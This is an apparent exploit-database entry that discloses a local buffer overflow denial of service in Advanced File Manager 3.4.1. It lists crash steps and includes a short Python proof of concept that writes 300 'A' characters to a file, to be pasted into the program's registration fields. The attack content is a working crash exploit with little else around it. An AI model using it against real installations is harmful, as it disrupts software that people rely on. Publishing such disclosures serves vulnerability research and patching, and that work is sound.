Advanced File Manager 3.4.1 - Denial of Service (PoC)

# Exploit Title: Advanced File Manager v3.4.1 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://www.advexsoft.com
# Software Link : http://www.advexsoft.com
# Tested Version: 3.4.1
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run af_mgr.exe
# 2.- copy content af_mgr_Crash.txt or 300 "A" to clipboard (result from this python script)
# 3.- Go to Help - Enter registration code and paste the result in all fields: "Person", "Organization", "E-mail" and "Enter your registration key below, please:"
# 4.- Click in Register button and you will see a crash.

#!/usr/bin/env python

crash = "\x41" * 300
f = open ("af_mgr_Crash.txt", "w")
f.write(crash)
f.close()